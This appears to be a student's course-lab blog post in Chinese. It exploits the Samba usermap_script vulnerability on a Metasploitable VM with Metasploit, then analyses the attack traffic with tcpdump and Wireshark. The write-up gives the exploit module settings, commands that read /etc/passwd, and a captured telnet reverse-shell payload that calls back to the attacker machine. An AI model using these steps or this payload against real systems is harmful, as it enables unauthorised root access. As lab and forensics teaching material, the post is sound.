20253920 2025-2026-2 《网络攻防实践》第7次作业

20253920 2025-2026-2 《网络攻防实践》第7次作业


1.实践内容

本次实践以 Linux 环境下的 Samba 漏洞渗透与攻防流量分析为主题,在 Kali 攻击机与 Metasploitable 靶机环境下完成完整的漏洞利用与数据包分析过程,相关知识点与实验操作结合如下:

  1. Samba 服务与漏洞原理

    Samba 是 Linux 系统中实现 SMB/CIFS 协议的开源共享服务,主要用于跨平台文件和打印共享,默认使用 445 端口。本次实验利用的 CVE-2007-2447(usermap_script)是该服务中的高危远程命令注入漏洞,由于对用户名字段未做安全过滤,攻击者可构造恶意内容让服务器以 root 权限执行系统命令。实验中先通过 nmap 扫描靶机开放端口与服务版本,确认目标存在该漏洞,为后续渗透提供依据。

  2. Metasploit 渗透与反弹 Shell 利用

    反弹 Shell 是指由靶机主动连接攻击机以建立控制通道的技术,可有效绕过防火墙限制。实验中在 Kali 内启动 Metasploit 框架,加载 exploit/multi/samba/usermap_script 模块,配置靶机 IP、攻击机监听地址与端口,使用反弹 Shell 作为攻击载荷。执行渗透后成功获取靶机控制权,并通过 whoamiifconfig 等命令验证已获得 root 权限。

  3. 流量捕获与数据包抓取

    tcpdump 是一款常用的命令行抓包工具,可对指定网卡、IP 及端口的流量进行捕获并保存为文件。在发起攻击前,使用 tcpdump 对攻击机与靶机之间 445 端口和 4444 端口的流量进行抓取,将攻击全过程的数据包保存为 pcap 文件,为后续分析提供原始数据。

  4. Wireshark 流量分析与攻击溯源

    Wireshark 是图形化流量分析工具,可对捕获的数据包进行协议解析、数据流追踪与内容提取。本次实验通过 Wireshark 打开抓包文件,先过滤 SMB 流量查看漏洞利用过程,观察恶意请求与靶机返回的登录失败响应;再过滤 4444 端口流量并追踪 TCP 流,还原反弹 Shell 建立、命令发送与结果返回的全过程,最终完成对攻击行为的识别、取证与溯源。

2.实践过程

2.1使用Metasploit进行Linux远程渗透攻击

任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;

首先输入msfconsole进入Metasploit界面

1

②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;

输入use exploit/multi/samba/usermap_script进行渗透攻击,输入show payloads查看漏洞载荷

2

③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);

输入命令行set payload cmd/unix/reverse设置双向连接载荷,show options查看相关配置信息

3

④设置渗透攻击参数(RHOST,LHOST,TARGET等);

首先,ifconfig查看靶机IP地址,并将靶机IP和攻击机IP分别填入配置信息,命令行如下:set RHOST 192.168.200.4 set LHOST 192.168.200.3

4

5

show options检验配置信息

6

⑤执行渗透攻击;

输入run执行渗透攻击,由下图可以得出Command shell session 1 opened:成功建立了 1 个命令行 Shell 会话,攻击机(192.168.200.2:4444)与靶机(192.168.200.4:46766)完成反向 TCP 连接。已经获得了交互式命令行权限

7

⑥查看是否正确得到远程Shell,并查看获得的权限。

ifconfig可以得到靶机的IP地址, whoami可以查询当前的用户权限为root,攻击成功

8

2.2实践作业:攻防对抗实践

攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。

防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

以下是我本次实验的环境配置:

虚拟机 IP地址
攻击方(Kali) 192.168.200.2
防守方(metasploitable ubuntu) 192.168.200.4

对于防守方,我使用 tcpdump监听获得网络攻击的数据包文件,并用wireshark分析攻击过程

2.2.1攻击方

利用nmap -sV 192.168.200.4 扫描出靶机开放服务, 由下图得到的结果可以看出Samba(139/445 端口)存在usermap_script命令注入漏洞,FTP(21)、SSH(22)、HTTP(80)、MySQL(3306)等其他服务也可作为备选攻击点。

接下来我将以Samba usermap_script 漏洞为例,完成本次实验

9

首先msfconsole启动Metasploit

10

use exploit/multi/samba/usermap_script加载漏洞模块;show options查看配置参数

11

设置参数:

靶机IP set RHOSTS 192.168.200.4

Samba服务端口 set RPORT 445

攻击机监听IPset LHOST 192.168.200.2

攻击机监听端口 set LPORT 4444

反向Shell载荷set PAYLOAD cmd/unix/reverse

12

show options检验参数是否设置成功

13

run发起攻击

输入whoami ifconfig来验证是否攻击成功,由下图可知:已经得到root权限交互式shell,攻击成功

14

进行后渗透测试:(为了让防守方抓包时能看到命令传输)

输入cat /etc/issue uname -a查看系统信息;输入cat /etc/passwd查看用户列表;

15

输入netstat -antp查看网络连接

16

2.2.2防守方

首先进入kali的root模式,输入apt update && apt install tcpdump -y来安装tcpdump

17

输入tcpdump -i eth0 host 192.168.200.4 and port 445 or port 4444 -w attack.pcap开始抓包,并将其保存为attack.pcap

18

攻击完成后,按ctrl c结束抓包

19

输入ls -l attack.pcap确认文件是否成功生成,由下图可知:抓包成功,tcpdump` 成功监听eth0网卡,捕获了 63 个数据包,没有内核丢包;attack.pcap文件大小为 11055 字节

20

为了防止wireshark在root下打不开的情况,输入mv attack.pcap /home/kali/ 将文件移动到kali用户目录;输入 chown kali:kali /home/kali/attack.pcap 修改所有者为kali用户

21

打开一个新的kali界面,输入wireshark attack.pcap打开抓包软件

2.2.2.1SMB 漏洞利用阶段(端口 445)

输入smb进行过滤

22

对8号数据包进行右键 → FollowTCP Stream来分析:

SMB TCP 流中可提取到命令注入 Payload:nohup sh -c '(sleep 3781|telnet 192.168.200.2 4444|while : ; do sh && break; done 2>&1|telnet 192.168.200.2 4444 >/dev/null 2>&1 &)'该 Payload 利用 Samba usermap_script 漏洞,在靶机上执行反向 Shell 命令,使靶机延迟3781秒后,主动连接攻击机 192.168.200.2:4444,从而获得交互式 root 权限,把所有输出重定向到攻击机,实现远程控制

23

对17号数据包进行右键 → FollowTCP Stream来分析:

17 号数据包为靶机返回的STATUS_LOGON_FAILURE登录失败响应,这是攻击过程中的正常现象:本次攻击并非为了完成 SMB 身份验证,而是通过恶意用户名触发usermap_script命令注入漏洞,因此登录流程会失败,但注入的反向 Shell 命令已在后台执行,靶机正主动向攻击机192.168.200.2:4444发起连接。

24

2.2.2.2反向 Shell 控制阶段(端口 4444)

过滤 tcp.port == 4444,找到反向 Shell 的 TCP 流

(注意:SYN/ACK 包:是 TCP 三次握手的包,没有实际数据;PSH,ACK 包:是真正传输 Shell 命令和结果的包,追踪这些流就能看到执行的 whoamiifconfig 等命令。)

25

因此,我选中16号包对其进行进行右键 → FollowTCP Stream来分析:

根据下图可知:蓝色行是攻击机发送的命令,红色行是靶机的响应

攻击机发送命令echo x3vgv4XdwBU5PuJ3;用于验证通道连通性的测试命令;靶机响应 ifconfig 之后的网卡信息

rootwhoami 的输出

Ubuntu 8.04 \n \lcat /etc/issue的输出

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linuxuname -a 的输出

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh ...cat /etc/passwd 的输出

26

27

3.学习中遇到的问题及解决

问题1:靶机 IP 发生变化,导致渗透攻击和抓包过滤失败。

原因:虚拟机 DHCP 分配 IP 变动,之前配置的 RHOSTS 和抓包过滤规则与当前靶机 IP 不匹配。

解决:重新用 nmap 扫描网段或在靶机执行 ifconfig 获取最新 IP,更新 Metasploit 中 RHOSTS 参数和 tcpdump 过滤规则,确保 IP 一致后再发起攻击。

问题2:Wireshark 启动时提示 could not connect to display 图形界面错误。

原因:sudo 运行 Wireshark 时,root 用户无法访问当前桌面显示环境。

解决:将文件移动至 /home/kali 目录,执行 chown kali:kali attack.pcap 修改所有者,或直接用 root 权限启动 Wireshark 打开文件。

问题3:SMB TCP 流中存在大量乱码,无法清晰识别 Payload。

原因:SMB 为二进制协议,协议头为不可读二进制数据,仅注入的命令为 ASCII 明文。

解决:忽略乱码部分,直接提取 nohup sh -c 开头的明文 Payload,或通过 tcpdump -r attack.pcap -A 命令行查看 ASCII 内容。

4.学习感想和体会

通过本次实践,我对 Linux 系统漏洞渗透与网络流量分析有了更直观的理解:

一方面,我深刻认识到未及时修补的服务漏洞危害极大——Samba usermap_script 漏洞无需前置权限,即可一键获取 root 权限,这让我意识到系统安全加固、版本更新的重要性;同时也体会到实验环境中 IP 变动等细节问题会直接影响攻击成败,严谨的环境检查是渗透测试的基础。

另一方面,作为防守方,我学会了用 tcpdump 和 Wireshark 还原攻击全过程:从 SMB 漏洞利用的 Payload 注入,到反向 Shell 的命令交互,每一步都能在流量中找到痕迹,这让我明白网络流量分析是入侵检测与溯源的核心手段,即使攻击成功,也能通过流量日志完成事后追溯。

同时,我也体会到攻防对抗的本质:攻击方利用漏洞突破防线,防守方通过流量监控与分析发现并追溯攻击,二者的博弈推动了安全技术的进步。

这次实践不仅提升了我使用 Metasploit、Wireshark 等工具的实操能力,更让我建立了 “攻防一体” 的安全思维,为后续深入学习网络攻防奠定了基础。

posted @ 2026-04-24 01:28  吹根猫毛  阅读(3)  评论(0)    收藏  举报